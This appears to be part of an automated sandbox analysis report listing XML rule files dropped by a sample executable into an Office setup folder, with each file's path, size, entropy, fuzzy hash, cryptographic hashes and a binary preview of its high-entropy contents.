Preview:	<?xml..i(.G........:"..d.....t...?....69....m.m.#l.I..R .Z.f.t'JQ....&.J.r\.Ix...v..T..6.=..5...eK.y?...56W.w..eQ..8 E...`".g....s<..?r..\..s{...r....r.........i.5G,.q.N).....~.A.......3:..r.....w/....^...5..D..\{wd...U...........rW>Y8R..n......%..../....p..>b.4...33.G...k..>..... m......G;..;$T...j....b.......4.I.........+.....N&............W...p..e.K3.C\|A.EN7.$....1.1b.p.OY&h.L..Cg7...pO.m..A..!.......d....s.{..._....&......r>p+.).nh\|.t..`.zl..{60__..{..C.D.Vs_.{.@jVo..,.0/.a..3...3..8.88.T..Z.p.f..O...w._#...3.8v.....a...}^.iy..Qg......>i.5N...o...4t..5.A.../..^W..$szB#..~.+<.W...G....`...C.I.`.h..P.E.Xgq..G..D_..N.....r.#.}..B.x._y....VK...j.Y.r-A..r.e....E..t.>...i....D#b..{SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.93962536700944
Encrypted:	false
SSDEEP:	48:GpuQfAlxAPBfwDRSlkwuFS272RpmOB5tlsd7HOnufi6oKT/2GSe1D:GpT40BfaRSlkwIp72R5IFVoKT/xSeN
MD5:	774CD9C1A05C1046110BB3073FF497A1
SHA1:	3CA38F4CA16FF2BC1E8C30FFD3A4AF9B4267E2D9
SHA-256:	955F430DFFDBA2121A34AF21F692A2B5986F5E36982A524462A2FE8B3DDE71E2
SHA-512:	620DC1C80F7B41E0D58605D1D624BC502266F48ECBEEA06B8080957A709111457D715171B386D2D4BA171BA24C7E27BB830858E43DA341DE9719FE7EAABFF8BD
Malicious:	false
Preview:	<?xmlt.K....C. ..+.....c...'./......A..y..}2.1.....PFf{_16lC. g........R.-J._.j.u.an..j;.r.Jz.h.....x.. ;..Z...`...$.K...(..s.b..a+..i.N.)M.\|6.hwdel..~....kF...j!...\A..n..tQ.c.I.x.x....).. E..'...M..$.b.k06?......f...3k5rN....3'.~..t.3E~..E....d.e......$k..SJ. ...>R.5$..".!..%..~.0~.k....P....%>K5..E..R.V.e... .".UE..^fXO.v...=V..5..y..W]..d..V..7X....:..1G:....^1.1..5Y.b#F.B..q.M...&=..=D.y.../.\|K.mi.w.k.B^.am..h\|.$.1.B..'C..y..]I...=97.]_.\..m.2....u..8zu.\|.;.1d.....G\:.....x...I.d.35....R.tLM..2.....Q;p...C...K#].....j4.g..._h....Vh...Z..~.I2..*+...~...q....9..I\..).g..@t.P.0.j3.dCC8:....;'..@9.H.....DS<)..".R...H"..5.....r.j...dx....<.Me.F.D.....oQ..p....\...O2.$U....hd._.)&l(JN....J.j...U.S..tE...u..6(.b. .:g....w.6(4^.Oh!....q=.B...BC.......2.......&....@.2.!...6<.#...;1.$.br..'.\|Rt.....l.0:.#x..`G.....M(U4.SN.......\..G...aN...._Q;@J.Y+F...b....]Q.B.qun.H...h..vP.Do;.(..z....JB..^..8.Z...._..`....(2......Z...7........x.6....0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.943244453630971
Encrypted:	false
SSDEEP:	48:LP4dF2FND3JyPDa9zvYrOVHcD+lZgyAr2EHZ65wcj5y4yyq3ZVg4/WuRIND:czw3EPW9zQr+RZgVg5tyvE
MD5:	501259CE5850095FAD2DF36A28C0C45F
SHA1:	EA8C5DDFCB0512B104B38E102AD6CCE9FB81AEAF
SHA-256:	C65AE92B5528065C21BD2EE2FD81DB36943BB04EC03CC5FEAE38AB2F68C01A72
SHA-512:	AF5F828015C7A84D50A52285AC5D03AE69CE6E12AC38821AA1072393002A5B33B65FFE750C263B15241D5D5FA3205CC6914E2E8787D323F3099FDD81620D3DE9
Malicious:	false
Preview:	<?xml....-.I..c.I.....j..S.../...,].:.a4]...)jZ..L..2.G<_.. ..2..4.K.\.e...R.Q.'.N.....^.G....3Vf..G........<....Q.K...?.%".....K=.d._....i"...&....>/-h..B.%.....?V..3.z..C...v..z..8uK.Y.n....;....._g..=...X}J....EJ.....#...Arsy2`T.V..H.!\|...........%..r.......%.5..8....._j..q..X.co.l...`....R..4...?w.\.'.....3S.oa...Y....p..,^.]D.k..K@D.>......h....r..;p^....b..../..G)..P....,.\|.%..g.~.6....j0.....S..N+.so=....G....B......z.o........ho_.Z;.w..6.+Ty!4N.\|!..W.O..r..W...._Y].&Mh....b..8.....}...$....K....}M.E...I.?..2.w......i...&\|...... l..k[.T):w.r...3.W.C.4....N..X`>D...en.)).$..Hg.h.n._..oo....-.ws.J.80.1.S.6.8..b.....w.w.......P....\|....M..#.X..f...3...y..o.#h..h3.P..zyZ....._..;.."..0..l....S..7.7Q.%.#..3e.wzxO.7^.L.Y>\|i...K.7......m{h.).^[.?.....t.A..=.Y.$..r.......W...[.6a=.(.../k..c.. ..J..D....5...<..$4+....#.......#S.pO...\|...l..K.Hp..n#..K..i`.h.bL!..b!{@X..L..z5...dO..X\|.......(..O.l0aL.......9.=.Nn...;._...&..J&I......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.961942219614874
Encrypted:	false
SSDEEP:	96:r91MqwNJdiXqH0E6RIMuYkOLU6ush8dt1fzvm6/uq90NUSQVZM:r9pwNF6LuYItsmzEDUSp
MD5:	6934EEB717CAA8F3D0B88A94B3605F1F
SHA1:	6102AFBE451A4AEEE0ECD742D2D3AF9041C17C2F
SHA-256:	8BE4EE8CA97E19899A9DA74521BC7D92DD86693EED27F03A39204FE78A47613E
SHA-512:	79896BFECF8657577A6E09186F5A14FE0018A39666321CB5C67851DCCC157B49C1E392233986F4D144CBAFE4F3065A5CE18BE3008B43734ABEDAE0C4D8CB876A
Malicious:	false
Preview:	<?xml}...nw....H6...`,..L,...`.K)n...P.!.{.....1.(8.<./y(..L..V.G......<n.^3y.!.\ .W......p...w7A+..%<.s@[.J..\|.c.u!.e..SY..~.o&..$ii.....3.pO..(.....7._...~..#]..3..7......F{.x....o.y#.m..D7.o....o...p.T.$.4.....@3...crv.-.....5...1<fx.6.=K)........b..Rn!h.1...Ob."1G.kXL.4..#.....uQ=K...3.~.A...$.EA~b-.&.}.fQ.=.cn.F.........h.pG.}...o.Y.hD..>..yb.x//..f.MZ....P.......!L......L...L.....&..R.f.cQ:!2oi.4..3.3j'.0...C......Qf........m..k.E`..p../......w.[ei.....[.g.....(.N@b....K...~....D.....e`.f.".H*...V3....Y...N..d6}...zU./(h../.[...s.gI...r\|S....@iOU.P.Y.....$...C<....F...i_B3~.U.rm?..m.N....r.,.6M.J.~9].nC+..F7.?......b.+K..(.D...Y..82.c.z.`.;...m5..[=.,C......A....L[z..-(.....4_.W!..@...ou.P.\.B..<...R5...+...K9..t...".\|....$%...\|..D.Q....9..y?.D..o.e9..F.%..n.]...q.....?%.grq..?.sw.....F....ro.c..~y..u..i.F.....1(^..[lh....3......P.)f..X.,.\|.n.....e5.!{.RE..[R...h.<. .M.....2..u...i.Qt..m.....U.....h 35....Gr8.....O...L6.5.v..6.#ck....=....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.844633993912675
Encrypted:	false
SSDEEP:	24:8m+dnA5cxDcqn0Q1d917tDkncbMWdx7001AKcQIi5OnkOUBNbD:H+xZtcHi17tDTblGKAz5nkOUBtD
MD5:	EAD96A5B085E904000CB620D4E13CA9F
SHA1:	F9AB07B1187C216999E2172FE4B090E863D2F330
SHA-256:	571DB9F9C3E3F702C58085548A95D66F697DCBD34103A9813AFF7A03CA86088C
SHA-512:	F3931450B939B412477C6EDCA6BE88FA11546A41AC599EB703D999ADBDD2D09F9C1A8AB3CFEE5E16721DB7082E1069F863D7CF6E486A0C0B802F59DB079841DD
Malicious:	false
Preview:	<?xml....x.Y..J...).^.F.e...93..3.=...6w..~.p....@6,..<e.O.._....h.....=..A.P....U8.....<.B..A....S8Cy...^..V.;;.....x8...'....0.yt...}.....k.(.xu.o:...lA..z..Hw.q...3....,7jQ.N..._W.O.>.B.?.R....~.9.5.q..%....'gi.H..OL...vm...%.Sd..$+...3.p...}.....GG..(.....>Xe...M....8.....s..m..5O.:8..\|...?p.EX..Y.n.@.`9..<<....~...\O...^}...=i..6.6.,..X...-..';$.Xo.....`J.AIy..E.....".{.Na.D.......k..s1....4..u..nG...&..........'.V.....a.+[clk(4.5.8.'...V...R.8.v.NC.pk/-5.cXU.O...7..<....;i#.a.s..J...(...f..?Q}... ...w2G.S.{.......B....5.r..^y..=..c.6..2..p..K%.?v.~Z."..$]..[...:o-.p.38.(.........;.U(....\|..z...H..\...X..<7c].(.q..Y...~QSi...U.f..I.gp'....4S.yh........1..=u.....p..TC Y^,`.R.[6..X.(3G7....K.T.....h.f4..!.X......f.f..pfh.....^.nzv7...G..h8..j..zT.u._..g.F.r......'?F..@!R.tH,.O...3...e.b..t.B...$j.$0.{.%....o...MW....9+.w.AUk{..ret..bl.I..a.q'......z.......Z.D..v_:.Uf.a.j.. &p.zrG..6..?...Y.....$.G.)e.oA........a>.F..+. ....]s%.......{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.858156277058797
Encrypted:	false
SSDEEP:	24:/370GDOdCRe+uwkZevjG3TrgXqj2lHWsXrXrT/IpIDVf+ubD:T0QUCc+0IvjiTr8s2l2sXr7fDVpD
MD5:	7696E280E5258E2284FF123ACBD5522C
SHA1:	EF6D03805E25B9D6406EC74588AA5D891DEE7642
SHA-256:	2555CD0182ACCE8CE0F11CC42A2D250912872354932A7FB5DFEA81FFC60E1A35
SHA-512:	59A6910A7D28B33A2B33FCBCBB8D072129D9DC6788C6DAC074EB1DA84E46387A45D2FFC990E6FD7FC86853108395B0E654DAC7BD9B66F317FAE4A8DA860B7C7D
Malicious:	false
Preview:	<?xmls@u.iF.1.l...$8......n..s.;.O.h.K....+rMI(P...q.YY....!9~...>7.PB98I.......B.. .g1/.?........=q.4....7..pw[..&.a...Qn..]31.A...J5...!....cGx6.y..4^W.(8.v.c.....4.NM_.c.aM`gz..^f..YfG...-KD1?o.Z.m.....,H.z.."..Xtt.?..........+g"@714.y...%...d>.S..L.c......<#.....H.zZ.z.d.....ZZ.E.._............vSK...G&p..b.3..C..}.6.4X...T..z~O)....D......y...@...1A.........8.Or.!.46...9.).D..Gu.E.$...g........o..X.N.V.jH.q.M$S.Rz.\Rw.1?...G..@.#0.....)...i.).....8#..+..[=.R8.(.....).G..a\|..u.......A.}D..M.PSX.K@..H.{....ae.....L...3D'.[....r.....?n..O...\.o.&.lE...1.m..H./...9.....FE....iI$..<X<'.d.....H`..<.<W".E).hO.w.i.O...&.....70?.>\|1......Ku..q..KM.[..SR.....#.Z4 .<.....].TL7.S..!L......qXNN..,}...>sj.Z=...3.bb.y.....~.S......3 \....1.d.W.E........p..(z.8..rD....E0f.E...z^Z"...B.....}.K...P.F_.....g.o.h*!...x.\c/.c..2..k.j n.g...^......)..}@+.@._.c...F6...f.g.............Z.H..LR...n..).2U.w).....m.l..r..p...\|..g.w..P...wG..P..Y..@/SG.z.Q?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.8202432330196245
Encrypted:	false
SSDEEP:	24:JOMxhKxu8yF2ZiwTCUEWx7oC74QF0YnUy5bD:JVhCunEZiWC8poC74QF0YnbD
MD5:	24861F3776CD5133EDB6500D9B09BE09
SHA1:	1F32E3506F8E69C2B578E1359BC3C6D39691435E
SHA-256:	8717780A0299E2A67D3C32452C8DA1607AE49FD481B5FF480A8D17CF942D6147
SHA-512:	66923335856D28D82BA897B8CAD1AC0211A0AABEBFE52CE617C480B307665DF4AB5971E39F353E74EDD3C9B9B89369D04DBBDE54DA273C0D6BF117AEA211E3B2
Malicious:	false
Preview:	<?xmlV6. 1.#..o.<l..'e...U......cY.[En.7.q-..s..xt4VJ.....}.].hT..x....[I...y.<8.....B..p.MgZ..Z.N.z<...&qE...Vp,.'..9.....\|5..]Q..i.6.m....Uf.\|.IH.vmr6.wp7u]. ...\b..Q....O.......-......"...}.H.\.1.g.>..c.O;.\|.r1.fJ.A.W......t.8....i.(.......~..V....iBC.@.s.._.8e.z..46..~c."....J...Ccs#I.i..0..-.}...XB..M.xp.....=.J....(....E.hR,{..T..m.y..%V,..4..:z.7...O.-..."....$..EH...:...TP.....w.X...8?{..T..M. ..=.vw...j......M4......m...u...1..1...T.<..`......2.wp@..A+..P..w>.Y....'nM..O{M...$....x....9..y.N.<D.6..l..V.#....E._..&....P.,..a....u.1...~X...}.......Ch..wv..c.N...5....TFg..i.q(....0....2...?...Wo....h".z.=W%.....[+.{...\..qG..*X..gS.....n..q.L.,.J?......=y...d...~...&{..G"4.(Y..Z.@x..`.5.T..t.>..V...0...v...h. #R...Xt.<.(....;..] .! ...$....z.....N...Z...#.[e.w...Gfa..d...8..1>.%..p.{....7\|..Ke[.A3..z...J...C.s:x..`K`...v...C.D.{..........\..y.+Y@.@!}..; .J..l........p.+.3.,.....!GW.j..,Q..;.G."..j..z.0,..=..`..B"dn1...`0..I....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.980880041876083
Encrypted:	false
SSDEEP:	192:nir+uLBsc7sMwN8o+Ha6jqzDJhOfcCGGyC2x4WohkLL0S8nR:nLuLBs53Ya6obgbG9C2x9H0S2R
MD5:	EE5A3E70B5200EB90E6ED7DA254AE797
SHA1:	2A380119EFD9E7545FBD2D4D200E52A618634606
SHA-256:	CCF995E1E9FAE659CFBDEFE9A90DED404912B8DBA5034FFDC062DBB26B54A76B
SHA-512:	54BDAF09C9E247A6D133C0D663AA4576D15CA8D608B63BE99837DBEDC680830622248584994CB37D62A01789DA951F22B88C5D03D71A2F35AB49D74100457552
Malicious:	false
Preview:	<?xml..p.....%.C_.....@..at...i..F......,./...+.w...D........\|S..e.K..........{..y......}...&...o.V..'O.....q.C....huZ....V.....+)..Y^.2.Z.\.?.`...M..,....G........q..1.W.2.BQ.....&...Z..wH_.d../....`y.Q.s.....#...G.._.y(.o..4..k.....\6.s..s.s.:ZT.....zo...}y.1=. .,..kf6G..ZD.].^zsPC{..[G.e..7.."...Q...R3&..=.t>.6ks=V&q%.=.?.......$..J...",n\pQ.9~_r/.^x>O..V....$gc!..3.86.nt.M.H.e..b...x..+..HH....b0....c.!.Y...i..{..w.q8..y?O.V....P.H<.G~!".n.&.x.'.-:_H..&.s...&4#.u..!.......\.I]..\.&..X....q..P.I.............;6..2.0..g"m.O...7\|.=wX..hz..y.I..i...."NC.'.E...e6.J~.Y..xL..2..q"....0..."..J..1...]Q..}I....].gVK..8!@5.Z......`....AT.=I....y..-....X.O.y......Jy..X.....R...M..S....G.."bk%/.Cy...?.C.{.~...5^.Y..)X.O...S.2EI.op..!...9....(?...v#A.Zs..?......+..k.Y#.3.9LvE./A......p.3..+.)..@...Z....v5G.)...4.D..O...v.'.....D....,.......h.{W$D.D...B.n....^..d.....\|.1.gU..S7DH..`....BF.f..e..%.....04.%...\|..jD........6...2Z.......L...2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.971678267512679
Encrypted:	false
SSDEEP:	96:jJbdOvxKssvnC81+nvPDcmrjorS2nF5h7IJt4UX/DMvGdqy2hoq6bS4hqdY3:jJbQpKssC843DcmPPS3IJt4UXLzsviq6
MD5:	AC47DECC074FD74DBCCC4CCB1D9EB87D
SHA1:	8159E48839CC2DBCE56BBC021AB21012CF4D9067
SHA-256:	D033A172C76B7B8A93CDA930A8A00756E3533F0D8AF8CCAAD75B3F41E261ADB3
SHA-512:	9B5C4F25C29F1BA3897662A8C9DA1243074D9F7816C5AA4056A5CD3D114179DC536BB9746B2274F0937E8516E8B286C4FF7756959F21291C8EA26BFFC56FFA67
Malicious:	false
Preview:	<?xml.II....x.......$m1...@..3n!.....^....{.r.}o.l)y...l....N1....(.-.!.?..p..H.2.T?..fG.\|;.......hi.....e..'..*....Z.L:........fvl.....1.0......dTR....,..dm..>^%..U......F....s....Tr..._7.5...cds.5..)....a...Qv.J......<.t...F.!....O....'......L...c;........A.)[.ELQ.f..y..[..+.P.}Y..o./..~.~.,!....m...R4s.f.l...b.fB.../z..0R..X.....<~.H8........^....k.....I.[R#}K.5...u...........{&............<I....V.....A...2...]..N....Uf.......P.a2Lv....,H..a@.......1.[...@@...../.._...._......p..."l....Wg.(..=.....E\y.K...$],.F...(...bG..2....D..$...R....g...G.T.R....P...\|.z(?@.c.:._..l5.TP.a.9...8.m1..4...xxF.J-. ..o...:..........E%o.....>.......OvD...8......5.....a.h.....a..\.3s..,..Es.....y...3..@A..X^..V..n@4h.l..#.....<... 74(..:.....H'..%.D...F....:m..S....}......g.owz.....>.u..e.W[H..}\|[y.8....u.+..!.u............P.`..;.+W.+....W....i.T..G.c.Y5..f.%4.k.q.2...4...v..H..Q(j.M..T[.Rpi9.y...5.R8`H....q.5P.....r..V..}.....F.l..8p.St...W..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.96182755697534
Encrypted:	false
SSDEEP:	96:3e/LBk5O1ztm8q8OoBumxq4sPxCPGw4l/HhK1yvL4uaPLeNRwD:3OLmWCoBuFs+w4l/+yvL4DeTwD
MD5:	3515521DBA783807458C437389B1EFF6
SHA1:	A042D31CB6CB3E411D547BE808A04C0CF0C83CCC
SHA-256:	4E14595B43C82EFBEAD1E7A00A82C638BB53F70C75B8799A2E0CBD90D9A5BC6D
SHA-512:	0F825EA0294D35B76F343C511BB900EC3F475284A32199EF007787A5ED27ED9FD24891A3FFB86B34E3B090A52625725B2DB96EEA9E34C792659ED0B70B215A7B
Malicious:	false
Preview:	<?xml+.)&#\|".<;.P.kJ4.=H..k%.I...!.._.7W.eY...G?....m.H.......r...N.H29....[...tC.`.Z..QM.#.30M...........'I...E...}..j...j.n\...~..g...`.....V;....-$!...2..{(:j...S.<.c..v....V.v..Bf.t.y..>K....y.......\|...z..(\.:3.b..7T-.O....%.k..nE..B.. r.,.&...6cIU....].`5...Li....\|W:..X...2.v.....7.W.n+..;.@X..!.....R.;Do......L:w.j.a..q..5K...I.\......,....%..;...(...).d{..&.$,z.;.#I{...A\|..1a.$t....,lO....\...aH....B..j..!....a[q....\=.f.j.;.^..........c"rQ.U.....;:..y...h.X.{_.`g...:L......J %.{....?.R.~..n......G.S!#...=.i..._J%.~p...C..K...?......~q5e!.....h...W..Xm# {e......5R.......QI...K^+...A>..Q..L_#.p. ..C.jC...cn.:.tE...!..U..$.]4k....2maUal..l.......W...........M.E..B9(.0.>.vH5 ^...d.&:...'?.c....u2Gm.....#E...Q..]N?..U....X>.O.Ym.Zk^........o.c!..2..8.K.........y>......yq..Pv.x...'g...z...w4.Z....#..O&RL.....B...]}...-.?...yw&..l..!.6..K.E..,.@.d45..Y..U.2.Q.....e})s?PD....E.J..^.a..P...A"q ..u.hd...@....Q!p...D..7fKg......:...SU..cX..N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.961048714403596
Encrypted:	false
SSDEEP:	96:9rEaBRSz6HgKNOwm0ByngwW390Hw9b/OIGLvl6hqADgClNdjWcFc:xvRSvKVi69b/lGElgCl3G
MD5:	3A8364954F13F004E9FFE1B4F4BD4F39
SHA1:	A458CD47B1BC198306468B996D1A38D31BDBA4A8
SHA-256:	BEDABA8793423AFC38666FF00D905C0A96B74E74F71DDB83BAD3984EA615FC47
SHA-512:	565B7726C2400A2523B3013790E60DAC5F6E666EC1E2639B82ECC4451188915186B28CE7FB7F7EF881E30685167542222221169CB549D54CBA09281CD2572C80
Malicious:	false
Preview:	<?xml.2...~.@.[Ok.....oc.Q.!..B......o"....]k....-Ve..T..'..NF..B..l....wU`.>._........2.......k.,....A...........H.6i....I.....HrgH:.x.<.R..\|....q.<.c......B..j-z"8....x.W.R3.8/x...m../.Q.....$K:..a.A. ..V.B.r:P..xr..jE..$....5....9.@.[.+ .V.-......z@..v..}..5.8...E.6..w...^Z. rUKR.:E!.\....w-p..?.%.....'AB.B.....`..N..xEY......j0.`....".w.[.x......L.7..V.kev2..V$...8...Vh...Y.dH.PU.......^.R.....7...Z.V.x..?..fOG.k...$........9y</...o..<..ivO..W@bc.%X/.;......'Tm.U. ..n...G_.2xW...]n.h.....>....G.V../.E..9...T..;0T7.-...as.Wj...;.k.Z...)wO...E..t.yR.PY...zd..':.k.._..~.A...s+..m.5./..4.:.==...7TZU@}e..i.>o..{........@.,....K....f...5 ,..}.f. #.%F>..JqR...3....f.....px;..E.lY^x.........M.q...0".Q..wx.aLJ+.....@sllU\.:...cT;...}."/x.O...y....%a........'...P..F.......y.m.......$.a..=...q.L.HF-.;.1...`.=[....d.....1.V~.%.E.Q.S"...1....jw<...On&0..$._..Ng[a....;..\|.sH.7MT...{c..w~.h....c..F681..M...*f..p..B....+Mx....6~..S..~.Wq.._B..Y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.937946768801293
Encrypted:	false
SSDEEP:	48:q/r7bq1/qXpk07EQwXvS3LRrdztHFVS3tVIU2LswAdoHzvx4lejWqkLLB4D:q/r7bUyGXqtcOU2LswAdoHFgHhLG
MD5:	733E0CC5009EE346469B1119084C39B0
SHA1:	77B713F9AC4BC8D0138AC5EE13A71503BE61E738
SHA-256:	470C773127E939C72ECDFF07427D092FB19A0051B294781BF222B2A5E744C84A
SHA-512:	8952DD396DD9E74BC06EEC6D5D1C09CDE379C9E3E98315DBC61A4E513DD7190CE51653CD8F94801D25BD8E15D6E52C56504FCF063437D9EDD97117FBF965F301
Malicious:	false
Preview:	<?xml^..M.]......dk&1....z1...%..z..$..kg.Q.1..../..Y...p}.o.......B.E..-..m........C...=.#.5.k.G..1.L.7`Pb...Z....}g.....jS.%Q&\$b.(4r...jM.\|(.....oM.VI...\._.7..[x.._XA..\|...O....x.5..e.d..J........\|.tK...(.u4#.......R.i.9,.0.+..J.DYg\....5.......K._.g..e....=.74U...50.o.lGO.-.....[x.sc..._b.J..\....@4O.Y.....1u.<<...._...#.m.....<..j..+.<J..ZF..G..+G....+._.KN.....3.........r\nK..Hk...S.Vb...+#M...F.L...w.ik<..^qz.p.nP.C......,...(..5..f..q!<...........37...C..x..E.H2 .k!.%D&?.).........J..#..\.gP.8.K8...W.7.qc.:?...~f.L....k...[....).8...s6..DK<.....h......}..........Dr=.u....%q....._...i....4..N..cE....d..n.7..s..f..o:...<p...........;.+fR.XT#...b%...`.....#.c....Wn...2p..O...dr.$9..mh.5..Oh.i...@m........~...Q..]%...<U...a~...?0...Q....V.K..WH.8.N....P.7....\..@.C.s....Y..A.G.....{....0.X.K..x...Vf..Out..r....~.X..Q.w.~.yY.."....%..k....v......0k...E...;....g....q.d.>...vs.X_.}B.S.F.c.I.iD...m.....xLiu=........m.f..I.,O..g'.$....p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.710259814349596
Encrypted:	false
SSDEEP:	24:L/Ov5Q3nqMVeulnxJ6SnmoIfZ+qc1te4h78VAbD:cjUeulnpnKZWtph78VaD
MD5:	9253727B813635BE347420E77BC394C5
SHA1:	57456A6CBAC6A5F0A49C67CC31387B2DA1D2A49E
SHA-256:	3D70067B22A8A8CB1F9DEDF0C4AA80B1AF6B8388BE52CFE74D47483D1DC6CF0C
SHA-512:	3A4B4BC3F0852CFB4C2E21E521FFD009159A6C1F1315FCEBDD00CC37414A28DCE793A2D59FAAD2E7CCEF7766D81E3BBB24CC220C830FA0B36E69D1507B4DD724
Malicious:	false
Preview:	<?xml&...I..(D..8.KX..c2...?J..o.h.....fOVlOt}\Q:n.S..2.S...\?...O..$.2J.T/t..#.L%......_.=l.oe..x....d!.Q3O@.u-....i...s3s..M.......Q.d..QY0.b........\|..{.R.D.f.y&/72>..&.}....Y..R....@d..o.4....G%..s.....J.b7Cj:CFb....c.V.{..4.....QX0.5.....2#._/.@.( ...<....b....2..Ll.o3.i.......2.8"Ct2....M.em.7....#l..!......v......".X...h.q...@"..\|..A.}_.+..L.8./..d.$N...t..O...o..P...^..5..D.`....%.\UC.Z.F....8i.z.[._y...=......a.UA..e-..1........y..I]8>...l.m....o_p.....g.o..EC_T .(~.3.....im...C.&..Y..fJ...Q.B.n.=.s-V.\|...o...D.SJ.Y..t......1r........~..Dw.P.6.G..BB.K+..dz......y.m..T...TY...Q..K.8..j.x....Ll...';m.x....0....=.~....~....p).w..*.(...?...~.^n}.....W~......O..tSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9444265197156545
Encrypted:	false
SSDEEP:	48:sgBFSBmT7Uh3dPxcV5CMNeHmTvmcxN1KKaHsrPojMwxG3lrqnRzzmhXqZn/zaKKv:sZBmPUldPxcOMwHmrVj1naHkwjFG1uRm
MD5:	DE52AFF9E7D65C79AAC8F36730EDB77E
SHA1:	B142F10208215E1C99F5A3E966DC5C0087476A70
SHA-256:	0ADC0B9B3880E2E32702BED4D52765EB676C28D281DDE7889A99B8BE50AA9F14
SHA-512:	F0D41F00A6FE88FD07123D9A0DB4377DA1DCCAE1F39261716215C75E40876425D3DE8B370307AF03179584AEFD757A007B50F00690B4522D3CDEB3465D4ACB75
Malicious:	false
Preview:	<?xml..d.......:.qW.&.2.j.a...H..Y.2 .R.`,`..3.......%fqV.B...b....L ....Fl.....J....._.^...%5{s+&....?....V......g..S4.$........w.IX...O...>.y..4....0b...b..].=..%........P6t".c...N...<~.w.H...v.....0h.8$iM...xA.../.v...x.\|.8F.....w.n ......B.<.w..fK.I;..X.v...z...a7.......U....../.....sDO....S.......].#.g.4~.R>..a.~.6.2D-..g...X...nKw.g+.....3^.eSsV{j9.J$+......W_....l..+....q.$...f.4R........0j..t.x..bZ.fA..Q.Ya...%B.lql..6...lCh...aB.q.v....Q....s.Z..^..I.C\|\|.Z>%.V..G.Y.!..g7..!....;`.Ylq.p...s.a1T.\:zd.[Efbi.>T...$^...........GT".bk.lY.].....A....`....\|C.F.c&...GX._o.j......D..>.,w.>...4D+G...l..>M.......#^.+..I..F2..(....}j.r.{..$l..h[....m......\..!f..3-....... ....G\|.q.n...+S0.F'...._....._..?T..#7zk#...WM..&.i.<....F.....W.$.<...@..H.z........U...wvc.......^?jZ.g.m...#.L..........bJ..(......J.......r.th..u....{;..B...C._0..#.`t..E......Z/..j.J.#{._NC..}6.GfP.."Z~.....6.Q...{...4.)..yvN._..i(.9Y#(F\|....DH...5....P.h}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.749709582904822
Encrypted:	false
SSDEEP:	12:8ZyW9kRe+KqGjEGEqgnYiu6a/cJ0IfhkKJZqb2P1zdep2/bS1ueL987S1h9ScTqi:8VIHJDb+sfhhsGzL/e1uecGhTYNObD
MD5:	C579460A6EC20A1B9898A08F85F10DB4
SHA1:	FB6B3340B51C7CAC52F4A91B92BC4A03DB3D24BD
SHA-256:	B5A635608D1A80E04100108B7E5ED61B48A1C4A132BC161FA9FEE7B612BB6A5C
SHA-512:	7576AA4036B7463ACA576665FADA9D484B2B7F0EB92592CE9D5CD82D320BFF2EA56338159282A376ECC5DA5B36BAA23E407B595AD4E99AB0D71D394B849C1E81
Malicious:	false
